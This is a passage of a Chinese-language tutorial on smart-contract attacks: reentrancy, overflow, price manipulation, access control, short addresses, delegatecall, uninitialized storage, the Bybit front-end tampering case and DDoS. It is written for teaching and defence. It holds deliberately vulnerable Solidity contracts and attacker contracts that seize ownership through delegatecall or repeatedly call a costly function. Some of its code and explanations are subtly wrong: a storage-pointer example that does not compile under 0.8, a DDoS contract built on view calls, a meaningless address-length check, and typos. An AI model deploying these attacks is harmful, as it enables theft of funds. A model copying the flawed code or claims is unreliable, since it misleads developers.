12
13
14
15
16
17
18
19
 // 引入库
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

// 继承重入锁合约
contract SafeBank is ReentrancyGuard {
    mapping (address=>uint256)public balances;
    function deposit()public payable{
        balances[msg.sender]+=msg.value;
    }

    // 加锁:withdraw执行时,其他调用会被拒绝
    function withdraw() public nonReentrant {
        uint256 amount=balances[msg.sender];
        require(amount>0,"Insufficient balance");
        balances[msg.sender]=0;
        (bool sucess, )=msg.sender.call{value:amount}("");
        require(sucess,"Transfer failed");
    }
}

nonReentrant修饰符会在函数开始时 “上锁”,结束后 “解锁”,中间如果有重复调用(比如攻击者的fallback()),会直接失败。

2.整数溢出攻击

概述

溢出(Overflow):当一个整数达到其最大值后,再试图加 1,会变成最小值(类似时钟 “绕一圈”)。
下溢(Underflow):当一个整数达到其最小值后,再试图减 1,会变成最大值。
在智能合约中,如果没有注意这点,会被攻击者利用来篡改数据(如余额、代币数量等)。

典型案例

2018年4月23日,BEC 代币合约用了旧版本 Solidity,transfer 函数没防御溢出,攻击者利用漏洞,通过一次转账让自己的余额下溢成极大值(约 2^255 个代币),随后在交易所抛售,导致 BEC 币价瞬间归零,项目直接崩盘。

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;


contract VulnerableToken {
    mapping(address => uint256) public balances;
    uint256 public totalSupply;


 function setMaxSupply() public {
     // uint256最大值是2^256 - 1,减1就是2^256 - 2
     totalSupply = type(uint256).max - 1;
     // 同时给部署者地址分配对应余额(模拟“已发行”)
     balances[msg.sender] = totalSupply;
  }


    //铸造代币
    function mint(address to, uint256 amount) public {
        totalSupply += amount; // 若totalSupply + amount超过uint256最大值,会溢出为0
        balances[to] += amount; // 同理,用户余额也可能溢出
    }


    function transfer(address to, uint256 amount) public {
        require(balances[msg.sender] >= amount, "Insufficient balance");
        balances[msg.sender] -= amount; // 若balances[msg.sender] < amount,会下溢(如0-1变成极大值)
        balances[to] += amount;
    }
}

如何防御?

  1. 尽量用 Solidity 0.8.0 以上版本(自动防护):0.7.0 版本不会检查溢出,所以会成功溢出,而 0.8.0 以上版本会直接报错。
  2. SafeMath库或手动加检查(针对旧版本)。

3.价格操纵攻击

概述

价格操纵攻击是指攻击者通过不正当手段人为影响加密货币(或代币)的市场价格,进而利用价格波动获利的行为。
在区块链和智能合约场景中,这种攻击尤其容易发生在去中心化金融(DeFi)平台(如去中心化交易所、借贷平台等),因为这些平台的价格往往依赖于链上数据或自动做市机制,存在可被利用的漏洞。
核心原因是链上价格的 “可篡改性”。传统金融市场的价格由大量参与者和监管机制共同决定,操纵难度大;但 DeFi 平台的价格往往依赖于 “即时交易数据” 或 “特定资金池的供需关系”,攻击者可以通过大额交易、闪电贷等工具短期扭曲价格,实现操纵。

攻击原理

  1. 闪电贷操纵
    攻击者利用 “闪电贷”(无需抵押,能瞬间借入巨额资金,只要在同一笔交易内归还即可)的特性,快速完成 “借钱→操纵价格→获利→还钱” 的闭环。
1
2
3
4
5
1. 攻击者从闪电贷平台借出1万个ETH(无需抵押,只要最后还回去);
2. 用这1万个ETH 在某个小资金池大量买入B代币,导致B代币价格瞬间飙升(比如从1ETH涨到10ETH);
3. 此时,攻击者去另一个依赖该资金池价格的平台(比如借贷平台),用“被高估的B代币”作为抵押,借出大量其他资产(如USDC);
4. 抛售之前买入的B代币,价格跌回正常水平(1ETH),归还闪电贷的1万个ETH(支付少量手续费);
5. 最终,攻击者凭空套走了借贷平台的USDC,而借贷平台手里只剩下“价格暴跌的B代币”。
  1. 三明治攻击
    攻击者监控链上待确认的大额交易,通过 “抢先交易” 在用户交易前后操作,赚取差价。
1
2
3
4
5
1. 小明要在DEX上用100ETH买入C代币(这笔交易还没上链,在内存池中);
2. 攻击者发现后,立刻用更高的gas费抢先买入C代币(此时C代币价格开始上涨);
3. 小明的交易被确认,由于买入量大会进一步推高C代币价格;
4. 攻击者在小明交易完成后,立刻卖出之前买入的C代币,高价套现,赚取差价;
5. 最终,小明以更高的价格买到了C代币(亏了),攻击者赚了差价。

关键点:利用区块链 “交易顺序可被 gas 费影响” 的特点,在用户交易前后 “低买高卖”。

  1. 虚假交易量操纵
    攻击者通过 “自买自卖” 制造虚假的交易活跃度,吸引其他用户入场,再高位抛售。
1
攻击者用两个自己控制的地址,反复买卖D代币(比如地址A卖给地址B,再用更高价格买回来,循环几十次)。平台的交易量排行榜会显示D代币 “交易火爆”,吸引真实用户跟风买入。当价格被推到高位后,攻击者卖出所有D代币,导致价格崩盘,其他用户被套。

如何防御?

  1. 增加资金池流动性:流动性越高,操纵价格需要的资金量越大,攻击成本越高。
  2. 使用时间加权平均价格:不依赖 “即时价格”,而是取一段时间(如 1 小时)的平均价格,降低短期操纵的影响;
  3. 监控异常交易:通过链上数据分析,识别 “自买自卖”“大额异常交易” 等行为,及时预警。
  4. 限制单笔交易规模:比如 DEX 中,单笔交易不能超过资金池总量的 5%,避免大额交易扭曲价格。

4.权限控制漏洞攻击

概述

权限控制漏洞是指智能合约在权限管理方面存在缺陷,使得未授权的用户能够执行本应只有特定权限用户才能执行的操作。
例如,合约的关键函数(如修改参数、提取资金等)未设置严格的权限检查,攻击者通过调用这些函数,可非法获取合约控制权或转移合约资产。

POC

存在权限控制漏洞的合约实例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract PermissionVulnerable {
address public owner;
mapping(address => uint256) public funds;

constructor() {
owner = msg.sender;
}

// 未进行权限检查,任何人都可调用

function withdrawFunds(address to, uint256 amount) public {
require(funds[to] >= amount, "Insufficient funds");
funds[to] -= amount;
payable(to).transfer(amount);
}
}

攻击示例:攻击者调用withdrawFunds 函数,将其他用户在合约中的资金转移到自己账户。

  1. 漏洞原理:权限控制漏洞源于合约未对关键操作设置有效的权限验证机制,导致未授权用户可越权执行敏感操作。这可能是由于开发者疏忽,未添加权限检查修饰符,或权限设计逻辑存在缺陷。​

  2. 防范措施:使用修饰符(如 onlyOwner)对关键函数进行权限控制,明确规定只有特定地址(如合约所有者、管理员)才能调用。同时,采用最小权限原则,仅为必要的地址分配相应权限,并定期审查权限设置。​

  3. 事件影响:权限控制漏洞可能导致合约资产被非法转移、合约参数被恶意修改等严重后果,给项目和用户带来巨大的经济损失,严重影响项目的正常运营。

5.短地址攻击

漏洞原理

在以太坊中,当地址长度不足 20 字节时,合约自动补零地址长度为 20 字节,当攻击者提供一个短于 20 字节的地址时,==某些合约会自动在地址末尾补零以达到 20 字节长度==。攻击者利用这一特性,构造特定的短地址,使得合约在计算转账金额时出现错误,从而获取额外的代币。

POC

存在短地址漏洞的代币转账合约的示例:

1
2
3
4
5
6
7
8
9
10
11
12
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract ShortAddressVulnerable {
mapping(address => uint256) public balanceOf;

function transfer(address to, uint256 amount) public {
require(balanceOf[msg.sender] >= amount, "Insufficient balance");
balanceOf[msg.sender] -= amount;
balanceOf[to] += amount;
}
}

攻击示例:攻击者使用一个19字节的地址调用transfer 函数,合约会自动补一个零字节使地址变为20字节。此时,在解析输入数据时,金额的低位字节会被错误地解析,导致实际转账金额远大于预期,攻击者从而获得更多代币。

如何预防?

随着短地址攻击事件的曝光和安全意识的提升,主流的开发实践中已经普遍加入了地址长度验证逻辑。例如:

  1. 许多项目会使用require(bytes.length == 20, "Invalid address length")这样的显式检查,直接验证输入地址的字节长度是否为 20 字节。
  2. 一些开发框架(如 OpenZeppelin)提供的标准合约模板中,也内置了对地址有效性的校验,间接规避了短地址风险。

6.委托调用(delegatecall)

delegatecall是指 “借代码执行”,假设合约A调用合约B的delegatecall,就相当于合约A”借用” 了合约B的代码,些代码会在合约A自己的 “地盘”(存储数据区域)上执行,执行过程中修改的是合约A的数据,而不是合约B的数据。

漏洞原理

委托调用(delegatecall)是 Solidity 中一种特殊的函数调用方式,允许合约==在自己的存储上下文中执行另一个合约的代码==。当被调用合约的存储布局与调用者不匹配时,可能导致状态变量被意外修改。若被调用合约不可信,攻击者可构造代码篡改调用者的关键状态。历史上多个项目因滥用delegatecall 导致合约被攻击,资产被转移。

POC

存在漏洞的委托调用合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract VulnerableDelegate {
    address public owner;
    uint256 public balance;

    function execute(address _target, bytes calldata _data) external {
        // 未验证_target的安全性,直接执行委托调用
        (bool success, ) = _target.delegatecall(_data);
        require(success, "Delegatecall failed");
    }

    function deposit() external payable {
        balance += msg.value;
    }
}

// 攻击合约
contract MaliciousContract {
    address public owner; // 与VulnerableDelegate的存储布局匹配

    function attack() external {
        owner = msg.sender; // 修改调用者合约的owner
    }
}

攻击流程:

  1. 攻击者部署MaliciousContract
  2. 调用VulnerableDelegate.execute(),传入攻击合约地址和attack()函数的 calldata。
  3. 委托调用执行后,VulnerableDelegate的 owner 被修改为攻击者地址。

如何预防?

避免对不可信合约使用delegatecall,严格验证被调用合约的地址和权限,确保被调用合约的存储布局与调用者完全匹配。

7.未初始化存储指针漏洞

漏洞原理

Solidity 中存储指针(storage)未初始化时默认指向存储位置 0,对其赋值会直接修改对应存储槽的数据。若该存储位置已被其他关键变量占用,就会造成状态混乱。

POC

存在未初始化存储指针的合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract UninitializedStorage {
    struct User {
        address addr;
        uint256 balance;
    }

    User public owner; // 存储位置0: owner.addr, 存储位置1: owner.balance
    uint256 public totalSupply; // 存储位置2

    function initUser() external {
        User storage user; // 未初始化的存储指针,默认指向位置0
        user.addr = msg.sender; // 实际修改了owner.addr
    }
}

该漏洞影响:调用initUser()后,本应初始化新用户的操作,实际修改了owner.addr的值,导致合约所有者被篡改。

正确的声明方式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract FixedUninitializedStorage {
    struct User {
        address addr;
        uint256 balance;
    }

    User public owner; // 存储位置0: owner.addr, 存储位置1: owner.balance
    uint256 public totalSupply; // 存储位置2
    User[] public users; // 新增一个数组存储用户,作为示例


    // 方法1: 使用memory创建临时变量(不会修改存储)
    function initUserMemory() external {
        User memory user; // 声明为memory,在内存中创建临时变量
        user.addr = msg.sender;
        // 如需保存到存储,需显式赋值
        // users.push(user);
    }

    // 方法2: 显式初始化存储指针(指定存储位置)
    function initUserStorage() external {
        User storage user = users.push(); // 明确指向数组中的新元素
        user.addr = msg.sender; // 正确修改新用户的addr,不会影响owner
    }

    // 方法3: 直接初始化状态变量
    function initOwner() external {
        owner.addr = msg.sender; // 直接操作已定义的存储变量
    }
}

如何预防?

初始化所有存储指针变量,明确指定存储位置;避免在复杂结构体中使用未初始化的存储引用;使用memory关键字声明临时变量,避免意外修改存储。
注意:审计时需搜索所有storage关键字的使用,确认是否存在未初始化的存储指针,特别注意结构体和映射类型的存储变量。

8.前端代码篡改攻击。

传统

攻击原理

攻击者通过各种手段,如入侵网站服务器、利用软件漏洞等,篡改网站的前端代码。例如,修改网页上的表单提交地址,将用户输入的敏感信息(如用户名、密码、银行卡号等)发送到攻击者指定的服务器;或者篡改网页上的链接,使用户点击后跳转到钓鱼网站,从而骗取用户的信任和信息。

攻击特点

  • 隐蔽性强:攻击者篡改的是前端代码,用户在浏览网页时很难直接察觉页面内容已被篡改,只有在信息被盗取或出现异常操作后才可能发现。
  • 攻击范围广:一旦前端代码被篡改,所有访问该网站的用户都可能受到影响,尤其是一些大型知名网站,影响范围可能涉及大量用户。

区块链

攻击原理

在区块链场景中,前端代码篡改攻击主要针对加密货币交易所等平台。黑客通过入侵交易所的前端服务器或利用相关工具的漏洞,篡改前端代码,从而绕过多重签名等安全机制,实现对用户资产的窃取。

典型案例

  • 2025 年 Bybit 交易所前端代码篡改攻击:2025 年 2 月 21 日,加密货币交易所 Bybit 遭遇了一起严重的前端代码篡改攻击。黑客于 2 月 19 日预先部署恶意合约,可能通过社会工程学手段入侵了 Bybit 内部人员的设备。2 月 21 日,Bybit 在进行常规的冷钱包至热钱包资金转移时,黑客篡改了授权者所见的交易界面,尽管浏览器显示的 URL 和地址看似合法,但实际底层代码已被替换为恶意逻辑。Bybit 的 CEO 作为最终签名者,确认了网站无误,但未察觉交易已被 “掩码交易” 技术篡改,导致签名实际授权的是向黑客地址的转账。随后,价值约 15 亿美元的资产被转至黑客控制的地址,并被迅速分散和兑换。

攻击流程

  • 代码植入:黑客将恶意 JavaScript 代码注入 app.safe.global 的静态资源中,该代码被设计为仅在特定条件下触发,例如当交易发起者为 Bybit 的多重签名地址时。
  • 用户界面欺骗:当 Bybit 的签名者通过 Safe Wallet 的网页界面签署交易时,恶意代码悄然替换了交易参数。签名者看到的 UI 显示的是正常的目标地址,如热钱包地址,但实际签名的数据却是黑客指定的恶意地址。
  • 交易执行:一旦签名者完成签名,篡改后的交易数据被提交至以太坊区块链。由于多重签名机制依赖于前端生成的签名,而非链上验证交易内容,黑客成功绕过了后端防护,完成了资金转移。

如何防御?

  • 加强前端代码安全:对前端代码进行严格的安全审计和测试,确保代码没有漏洞。采用安全的前端框架和库,并及时更新版本,修复已知的安全问题。
  • 增加完整性校验:在前端对加载的 JavaScript 文件等资源进行完整性验证。
  • 多重签名机制优化:不仅要依赖前端的签名验证,还要在链上进行更严格的交易内容验证,确保交易的目标地址等关键信息符合预期。

9.DDoS 攻击

DDoS(Distributed Denial of Service),分布式拒绝服务,是一种网络攻击方式。

传统

攻击原理

攻击者先控制多台计算机或路由器,这些被控制的设备称为 “肉机” 或 “傀儡机”。然后,利用这些肉机向目标服务器发送大量请求,耗尽服务器的资源,使其无法响应合法请求。DDoS 攻击一般由攻击者、主控端和代理端三部分组成。攻击者是指挥者,向主控端发送攻击命令;主控端控制着大量代理主机,接受攻击者指令并转发给代理端;代理端运行攻击程序,直接向受害者主机发送攻击。

攻击特点

分布式的攻击主体:攻击主体不集中在一个地点,而是分布在不同地区、国家甚至全球各个角落。
隐蔽性的攻击方式:傀儡机不直接与攻击者的主机交互,而是通过控制傀儡机和主控端之间的连接来发起攻击,使得攻击者更难被追踪和识别。

区块链

攻击原理

区块链与智能合约场景下的 DDoS攻击,核心是通过消耗目标网络 / 合约的关键资源(如区块 Gas 上限、合约执行步数、节点带宽 / 算力),导致目标无法正常处理合法请求。与传统互联网 DDoS(消耗带宽)不同,区块链 DDoS 更聚焦于 “链上资源瓶颈”。
公链网络:利用大量低 Gas 消耗的垃圾交易占据区块空间,导致合法交易(如转账、合约调用)因区块满而无法确认,或确认延迟大幅增加;
智能合约:构造能触发 “高计算复杂度” 的调用(如无限循环、多层嵌套计算),耗尽合约单次调用的 Gas 限制,或导致节点在处理该合约时过载,间接影响整个链的交易处理效率。

典型案例

  1. 2018 年以太坊 DDoS 攻击
    攻击者利用以太坊上 “简单转账合约” 的低 Gas 特性,批量发起数百万笔小额转账交易(每笔 Gas 消耗仅 21000,远低于复杂合约调用),填满以太坊区块的 Gas 上限。导致大量合法交易(如 DeFi 合约交互、大额转账)被阻塞,平均确认时间从 15 秒飙升至数小时,部分交易所因无法及时处理提币请求暂停服务,以太坊网络 TPS(每秒交易数)接近瘫痪。
  2. 2022 年 Polygon 链合约 DDoS 攻击
    攻击者针对 Polygon 链上一个热门 NFT 市场合约,构造 “恶意查询请求”:调用合约中 “遍历全量 NFT 持有者列表” 的函数(该函数需循环读取数百个地址数据,Gas 消耗极高),并通过数百个傀儡账户高频重复调用。单个请求的 Gas 消耗接近 Polygon 区块的单块 Gas 上限,导致区块被该恶意请求独占,其他合约调用、转账交易全部无法确认,该 NFT 市场及依赖 Polygon 的部分 DeFi 项目停摆近 2 小时。

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract VulnerableNFTMarket{
    address[] public allHolders;//所有NFT持有者(假设数量极大,如10000个)
    mpping(address=>uint256)public holderBalance;

    function calculateTotalBalance() public view returns (uint256 total) {
        for (uint256 i = 0; i < allHolders.length; i++) {//// 若allHolders数量为10000,循环10000次,Gas消耗远超普通函数
            total += holderBalance[allHolders[i]];
        }
    }
}



contract DDosHack{
    VulnerableNFTMarket public targetMarket;


    constructor(address _targetMarket) {
        targetMarket = VulnerableNFTMarket(_targetMarket);
    }

     // 单次攻击调用:触发目标合约的高Gas函数
    function singleAttack() external view {
        // 调用目标的高计算函数,消耗大量Gas
        targetMarket.calculateTotalBalance();
    }


    // 批量攻击:通过循环多次调用(实际攻击中会用多账户并发调用)
    function batchAttack(uint256 attackTimes) external view {
        for (uint256 i = 0; i < attackTimes; i++) {
            targetMarket.calculateTotalBalance();
            // 若attackTimes设为100,单次调用Gas消耗将达到普通交易的100倍以上
        }
    }
}

攻击流程

  1. 攻击者部署DDoSAttackContract,传入目标合约VulnerableNFTMarket地址;
  2. 利用 100 个傀儡账户,每个账户携带足够 Gas,高频调用batchAttack(100)函数;
  3. 目标合约的calculateTotalBalance()函数被反复调用,单次调用 Gas 消耗占满 Polygon 区块的 Gas 上限(约 3000 万 Gas);
  4. 区块被恶意请求独占,合法用户的 “NFT 购买”“转账” 等请求因 Gas 不足无法打包,目标市场陷入瘫痪。

如何防御?

区块链与智能合约场景的 DDoS 防御需结合 “链上限制”“合约优化”“网络监控” 三重手段,核心是 “减少资源消耗漏洞” 和 “提高攻击成本”。

合约:避免无限/高次循环。
链/平台:提高区块gas上限,过滤恶意请求。
监控与应急层面:实时链上检测。

区块链 DDoS 攻击的防御难度高于传统互联网,因去中心化网络无法通过 “关闭某个节点” 阻断攻击。目前行业更依赖 “资源扩容 + 智能合约优化 + 实时监控” 的组合策略,降低攻击成功率和影响范围。